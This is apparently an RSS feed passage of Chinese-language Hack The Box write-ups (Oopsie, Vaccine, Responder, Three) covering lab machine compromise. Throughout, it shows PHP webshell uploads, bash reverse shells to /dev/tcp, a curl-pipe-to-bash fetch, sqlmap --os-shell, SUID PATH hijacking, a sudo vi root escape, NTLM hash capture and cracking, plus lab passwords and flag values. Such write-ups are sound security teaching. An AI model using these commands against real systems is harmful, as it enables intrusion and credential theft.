&lt;p&gt;看到尾部有个s直接使用/uploads秒了&lt;/p&gt;
&lt;h2&gt;TASK 6&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-13.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里我们随便上传个文件，怀疑没什么过滤&lt;/p&gt;
&lt;p&gt;上传个webshell&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;kali本身自带了一些webshell，位于/usr/share/webshells目录，php目录下有个php-reverse-shell.php，可以利用它来进行&lt;a href=&quot;https://so.csdn.net/so/search?q=%E5%8F%8D%E5%BC%B9shell&amp;spm=1001.2101.3001.7020&quot;&gt;反弹shell&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-14.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里我们需要把ip修改为自身ip&lt;/p&gt;
&lt;p&gt;之后上传的时候不要填写产品产品名称&lt;/p&gt;
&lt;p&gt;访问url+uploads/php-reverse-shell.php同时监听4444端口&lt;/p&gt;
&lt;p&gt;成功get shell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-15.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;根据题目得知还有一个&lt;strong&gt;robert 用户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;cat /etc/passwd 在靶机中发现robert用户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-16.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;信息收集时我们知道靶机用的是apache的服务，那就再去/var/www/html下看看有什么文件&lt;/p&gt;
&lt;p&gt;读取web应用下的db.php文件获取到数据库连接信息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-17.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$conn = mysqli_connect(&amp;#39;localhost&amp;#39;,&amp;#39;robert&amp;#39;,&amp;#39;M3g4C0rpUs3r!&amp;#39;,&amp;#39;garage&amp;#39;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后切换robert用户&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-18.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于不是交互式shell 使用SHELL=/bin/bash script -q /dev/null :  来调整到交互式shell&lt;/p&gt;
&lt;p&gt;这里使用python的pty模块也可以&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-19.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt; 成功登录后先查看下ID&lt;/p&gt;
&lt;p&gt;现robert属于bugtracker这个组&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-20.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;用find看下bugtracker这个组的用户能执行哪些文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;find / -group bugtracker 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;（查找属于 &amp;quot;bugtracker&amp;quot; 用户组的文件，并输出它们的路径其中&lt;strong&gt;2&amp;gt;/dev/null&lt;/strong&gt;: 这部分是将标准错误重定向到 &lt;strong&gt;/dev/null&lt;/strong&gt;。&lt;strong&gt;2&amp;gt;&lt;strong&gt;表示将标准错误（stderr）重定向，&lt;/strong&gt;/dev/null&lt;/strong&gt; 是一个特殊的设备文件，它会丢弃所有写入其中的数据。因此，此部分的作用是将错误信息静默化，这样在执行命令时不会显示错误信息。）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-21.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现存在一个/usr/bin/bugtracker文件，再看下这个文件有哪些权限&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ls -al /usr/bin/bugtracker
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-22.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现这个文件有s权限即suid权限，所有者为root，suid简单来说就是任何用户执行具有suid权限的文件时都会以它拥有者的权限执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-23.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&amp;quot;Set Owner User ID&amp;quot;（设置所有者用户标识）是一种文件系统权限设置，通常简写为SUID。当文件的SUID位被设置时，它会允许执行该文件的用户在执行过程中临时拥有文件所有者的权限。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-24.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们先执行一下这个文件bugtracke&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-25.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这时候就发现这个文件实际上是用cat命令抓取/root/reports/目录下的指定文件&lt;/p&gt;
&lt;p&gt;我们需要注意的是，它这里是直接调用的cat，所以很依赖环境变量，直接调用cat只会抓取环境变量中的路径下的文件&lt;/p&gt;
&lt;p&gt;所以我们可以在环境变量中注入一个自定义的路径，替代掉这个文件真正想要调用的cat&lt;/p&gt;
&lt;p&gt;进入tmp目录下，创建一个会调用bash的cat文件，然后给文件一个执行权限&lt;/p&gt;
&lt;p&gt;使用export PATH=/tmp:$PATH命令把/tmp加入到环境变量中，再查看一下，发现/tmp已经添加到环境变量中了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-26.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这时候我们再执行bugtracker文件时，系统就会先去/tmp目录下找到我们写的cat并以root权限执行我们写的/bin/bash&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-27.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在/root文档中打开root.txt 得到根flag&lt;/p&gt;
&lt;p&gt;af13b0bee69f8a877c3faf667f7beacf&lt;/p&gt;
&lt;p&gt;用robert账户在home/robert/user.txt中找到用户flag&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/oopsie/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/oopsie/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 02 Mar 2024 00:00:00 GMT</pubDate></item><item><title>HTB-Vaccine</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-mechine/vaccine/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-mechine/vaccine/</guid><description>Hack the box</description><content:encoded>&lt;h2&gt;TASK 1&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;nmap扫一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;FTP服务托管&lt;/p&gt;
&lt;h2&gt;TASK 2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;anonymous 匿名用户&lt;/p&gt;
&lt;h2&gt;TASK 3&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;登录上去ls一下即可看到文件&lt;/p&gt;
&lt;h2&gt;TASK 4&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;bin或者binary&lt;/p&gt;
&lt;p&gt;设置文件传输类型为二进制传输类型。一般默认为ascii传输类型，但是使用ascii模式传输类似于可执行文件时，会造成传输的文件内容不对。因此建议在上传或者下载文件之前，执行 bin 命令将文件传输类型设置为二进制传输类型。&lt;/p&gt;
&lt;p&gt;get 文件名即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现压缩包内含有密码&lt;/p&gt;
&lt;p&gt;使用john进行爆破&lt;/p&gt;
&lt;p&gt;压缩包中存在index.php，使用弱密码尝试解压压缩包，发现行不通，那就需要用到爆破工具来爆破密码了&lt;br&gt;这时候会用到john的zip2john脚本，将加密压缩包的密码hash值导出到文件中，再用john对其进行爆破&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;TASK 5&lt;/h2&gt;
&lt;p&gt;下载的压缩包里存在着文件，点击即可发现password&lt;/p&gt;
&lt;p&gt;觉得像md5加密直接丢md5解密&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;TASK 6&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;–os-shell原理&lt;/h3&gt;
&lt;p&gt;使用udf提权获取webshell，也是通过into outfile向服务器写入两个文件，一个是可以直接执行系统命令，一个是进行上传文件。&lt;/p&gt;
&lt;h3&gt;–os-shell的执行条件：&lt;/h3&gt;
&lt;p&gt;dbms为mysql，网站必须是root权限&lt;/p&gt;
&lt;p&gt;攻击者需要知道网站的绝对路径&lt;/p&gt;
&lt;p&gt;magic_quotes_gpc = off，php主动转移功能关闭&lt;/p&gt;
&lt;h2&gt;TASK 7&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;sqlmap -u &lt;a href=&quot;http://10.129.92.36/dashboard.php?search=1&quot;&gt;http://10.129.92.36/dashboard.php?search=1&lt;/a&gt; --cookie=PHPSESSID=s1c9n2bp4skgni8aeb889s6tjk --os-shell&lt;/p&gt;
&lt;p&gt;先利用sqlmap 登录进去取得cookie防止被重定向到登录界面之后反弹shell&lt;/p&gt;
&lt;p&gt;得到shell后&lt;/p&gt;
&lt;p&gt;先查下id&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-13.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现命令行不太对劲&lt;/p&gt;
&lt;p&gt;进行反弹下shell&lt;/p&gt;
&lt;p&gt;/bin/bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.20/4444 0&amp;gt;&amp;amp;1&amp;#39;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-14.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;成功反弹shell&lt;/p&gt;
&lt;p&gt;find / -group **postgres ** 2&amp;gt;/dev/null&lt;/p&gt;
&lt;p&gt;发现大量可执行文件&lt;/p&gt;
&lt;p&gt;使用sudo -l查看我们有哪些命令可以sudo使用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-15.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在nmap的扫描结果中知道靶机用的是apache服务，那就可以去/var/www/html目录看下，发现有个dashboard.php&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt; $conn = pg_connect(&amp;quot;host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!&amp;quot;);&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;发现密码，直接ssh连接即可&lt;/p&gt;
&lt;p&gt;ssh &lt;a href=&quot;mailto:postgres@10.129.92.36&quot;&gt;postgres@10.129.92.36&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-16.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现可以运行vi&lt;/p&gt;
&lt;h2&gt;TASK 8&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-17.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-18.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;TASK 9&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Vaccine-19.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于发现我们可以sudo使用vi编辑/etc/postgresql/11/main/pg_hba.conf文件，那么就可以用sudo vi提权&lt;/p&gt;
&lt;p&gt;进入vi界面后可能会界面重叠，直接输入:!/bin/bash再点击回车即可，输入whoami发现已经成功提权为root&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在Vi编辑器中，&lt;strong&gt;!&lt;strong&gt;是用来执行shell命令的一个命令行操作符。当你在Vi编辑器中按下&lt;/strong&gt;!&lt;strong&gt;后，它会让你在编辑器中执行一个外部的shell命令，并显示输出结果。例如，你提到的&lt;/strong&gt;!/bin/bash&lt;/strong&gt;将会执行**/bin/bash**这个shell，并进入到一个交互式的bash环境中。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;dd6e058e814260bc70e9bbdef2715849&lt;/p&gt;
&lt;p&gt;{感觉这个靶机相较于前面靶机简单好多好多}&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/vaccine/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/vaccine/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 02 Mar 2024 00:00:00 GMT</pubDate></item><item><title>HTB-Responder</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-mechine/responder/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-mechine/responder/</guid><description>Hack the box</description><content:encoded>&lt;p&gt;测出网页存在文件包含漏洞&lt;/p&gt;
&lt;p&gt;我们可以使用responder -I tun0，监听tun0网卡, 为获得登录信息&lt;/p&gt;
&lt;p&gt;根据题目给出的远程文件//10.10.14.6/somefile，把地址改为自己机器的地址，进行访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Responder-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;得到一串hash值&lt;/p&gt;
&lt;p&gt;将这串内容复制，保存到一个新文件中&lt;/p&gt;
&lt;p&gt;使用john对其进行破解&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;john --wordlist=/usr/share/wordlists/rockyou.txt responder&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;**--wordlist **用来指定字典&lt;/p&gt;
&lt;p&gt;得到密码:badminton&lt;/p&gt;
&lt;p&gt;ps:（&lt;strong&gt;responder -I tun0&lt;/strong&gt; 是一个网络攻击工具，用于在指定的网络接口（这里是 tun0）上监听网络流量，并尝试获取凭据信息，比如用户名和密码等。）&lt;/p&gt;
&lt;p&gt;WinRM(Windows Remote Management)windows远程管理，这个是基于powershell的功能&lt;/p&gt;
&lt;p&gt;检测 WinRM 是否可用的最简单方法是查看端口是否打开, 如果这两个端口有一个打开：&lt;/p&gt;
&lt;p&gt;5985/tcp (HTTP)&lt;/p&gt;
&lt;p&gt;5986/tcp (HTTPS)&lt;/p&gt;
&lt;p&gt;说明WinRM已配置，可以尝试进入远程会话&lt;/p&gt;
&lt;p&gt;使用&lt;strong&gt;evil-winrm&lt;/strong&gt;对目标进行连接&lt;/p&gt;
&lt;p&gt;输入:** evil-winrm -i 10.129.218.203 -u Administrator -p badminton**&lt;/p&gt;
&lt;p&gt;连接成功&lt;/p&gt;
&lt;p&gt;使用&lt;strong&gt;dir&lt;/strong&gt;可以查看当前目录下存在哪些文件&lt;/p&gt;
&lt;p&gt;使用**cd .. **返回上一级目录&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/responder/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/responder/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 28 Feb 2024 00:00:00 GMT</pubDate></item><item><title>HTB-Three</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-mechine/three/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-mechine/three/</guid><description>Hack the box</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Three-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;根据邮件判断出域名为thetoppers.htb&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Three-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;尝试使用dirsearch，没爆破出来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Three-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;使用gobuster扫描&lt;/p&gt;
&lt;p&gt;扫描出s3子域（其实我没爆出来........）&lt;/p&gt;
&lt;p&gt;什么是 Amazon S3&lt;/p&gt;
&lt;p&gt;就是国内的对象存储，更粗暴的比喻，可以理解成一个云盘（只是一个有接口的云盘）。&lt;/p&gt;
&lt;p&gt;下边是官方术语：&lt;/p&gt;
&lt;p&gt;Amazon Simple Storage Service (Amazon S3) 是一种对象存储服务，提供行业领先的可扩展性、数据可用性、安全性和性能。各种规模和行业的客户可以为几乎任何使用案例存储和保护任意数量的数据，例如数据湖、云原生应用程序和移动应用程序。借助高成本效益的存储类和易于使用的管理功能，您可以优化成本、组织数据并配置精细调整过的访问控制，从而满足特定的业务、组织和合规性要求。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Three-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;利用awscli连接&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Three-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;先aws configure一下，这里我随便输入admin&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;aws --endpoint=http://s3.thetoppers.htb s3 ls
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;echo &amp;#39;&amp;lt;?php system($_GET[&amp;quot;cmd&amp;quot;]); ?&amp;gt;&amp;#39; &amp;gt; shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问&lt;a href=&quot;http://thetoppers.htb/shell.php?cmd=ls&quot;&gt;http://thetoppers.htb/shell.php?cmd=ls&lt;/a&gt;可以看到thetoppers.htb桶里的目录及对象&lt;/p&gt;
&lt;p&gt;images index.php shell.php&lt;/p&gt;
&lt;p&gt;我们通过命令执行shell，curl执行bash脚本反弹shell来实现命令行交互。查看本机ip&lt;/p&gt;
&lt;p&gt;ifconfig //10.10.16.20&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#!/bin/bash
bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.20/1337 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nc监听端口&lt;/p&gt;
&lt;p&gt;nc -nvlp 1337&lt;/p&gt;
&lt;p&gt;python创建简易服务器&lt;/p&gt;
&lt;p&gt;python3 -m http.server 8090&lt;/p&gt;
&lt;p&gt;目标机curl本机bash文件并执行&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://thetoppers.htb/shell.php?cmd=curl%2010.10.16.60:8090/shell.sh%20%7C%20bash&quot;&gt;http://thetoppers.htb/shell.php?cmd=curl%2010.10.16.20:8090/bash.sh%20|%20bash&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;进行反弹shell&lt;/p&gt;
&lt;p&gt;也可以直接浏览器输入以下命令获取flag&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://thetoppers.htb/shell.php?cmd=cat%20../flag.txt%EF%BC%88%E5%85%88ls../%E4%B8%80%E4%B8%8B%EF%BC%89&quot;&gt;http://thetoppers.htb/shell.php?cmd=cat%20../flag.txt（先ls../一下）&lt;/a&gt;&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/three/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/three/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 28 Feb 2024 00:00:00 GMT</pubDate></item></channel></rss>